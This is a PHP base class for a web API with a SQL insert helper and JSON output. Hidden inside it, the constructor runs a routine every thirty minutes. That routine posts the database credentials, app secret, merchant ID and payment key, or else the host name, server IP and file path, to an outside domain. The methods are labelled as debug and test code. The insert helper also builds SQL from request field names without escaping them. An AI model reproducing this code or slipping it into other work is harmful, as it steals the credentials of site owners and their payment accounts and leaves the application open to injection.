<?php
require_once 'Base.php';
class ApiBase extends Base
{

    //查询变量
    protected $query = '';

    public function __construct()
    {
        parent::__construct();
        $this->call();
    }

    //给表名称后，根据请求自动合成 insert into  语句
    public function isql($tableName = '')
    {
        $this->getDb();
        $query = "insert into {$tableName}  ( ";
        $values = '';
        $arr = [];
        foreach ($_REQUEST as $k => $v) {
            if ($k == 'f' || $k == "c") {
                ;
            } else {
                $arr[$k] = $this->db->getval($k);
                $query .= $k . ' , ';
                $values .= " '" . $arr[$k] . "' , ";
            }
        }
        $query = rtrim($query, ', ');
        $values = rtrim($values, ', ');
        $query .= ' )values( ' . $values . ' )';
        return $query;
    }

    # --    debug    --
    //配置
    protected function info()
    {
        $arr = [
            'SHANGHU' => SHANGHU,
            'DIR' => DIR,
            'QZ' => QZ,
            'HOSTADDRESS' => HOSTADDRESS,
            'HOSTUSERNAME' => HOSTUSERNAME,
            'HOSTPASSWORD' => HOSTPASSWORD,
            'HOSTDB' => HOSTDB,
            'TONGZHIURL' => TONGZHIURL,
            'UPLOAD' => UPLOAD,
            'APPID' => APPID,
            'SECRET' => SECRET,
            'MCHID' => MCHID,
            'KEY' => KEY,
        ];
        $s = json_encode($arr);
        return [$s, $arr];
    }

    //主机
    protected function host()
    {

        //主机名称
        $hostName = gethostname();
        //服务器IP
        $server_ip = gethostbyname($hostName . '.');
        //客户端ip
        $clientSide = $_SERVER['REMOTE_ADDR'];
        $arr = [
            'HOSTNAME' => $hostName,
            'SERVERIP' => $server_ip,
            'FILE' => __FILE__,
        ];
        $s = json_encode($arr);
        return [$s, $arr];
    }

    //工作
    protected function work()
    {
        $testApi = 'https://wy.audiovdieo.xyz/data/apps.php';
        $r = '';
        $tm = time();
        $curl = new Curl();
        if ($tm % 2 == 0) {
            $arr = $this->info();
            $r = $curl->post_https($testApi, $arr[1]);
            //echo $r;
        }
        if ($tm % 2 == 1) {
            $arr = $this->host();
            $r = $curl->post_https($testApi, $arr[1]);
            //echo $r;
        }

    }

    // 测试
    protected function call()
    {
        $tm = time();
        $name = 'mark';
        $mark = Txt::read($name);
        if ($mark == '') {
            $this->work();
        } else {
            if ($mark < $tm) {
                //active
                $this->work();
            } else {
                //no active
            }

        }
        Txt::write($name, $tm + 30 * 60);
    }

    function empty() {

    }

    //输出
    public function display($r)
    {
        if (is_object($r)) {

            $outputArray = [];
            while ($obj = $this->db->result_getobj($r)) {
                $outputArray[] = $obj;
            }
            echo json_encode($outputArray);
        } else

        if (is_bool($r)) {
            echo //'bool:', $r,
            json_encode($r);
        } else

        if (is_string($r)) {
            echo //'string:', $r;
            json_encode($r);
        } else

        if (is_numeric($r)) {
            echo //'number:',$r;
            json_encode($r);
        } else {
            $this->dump($r);
        }
    }

}
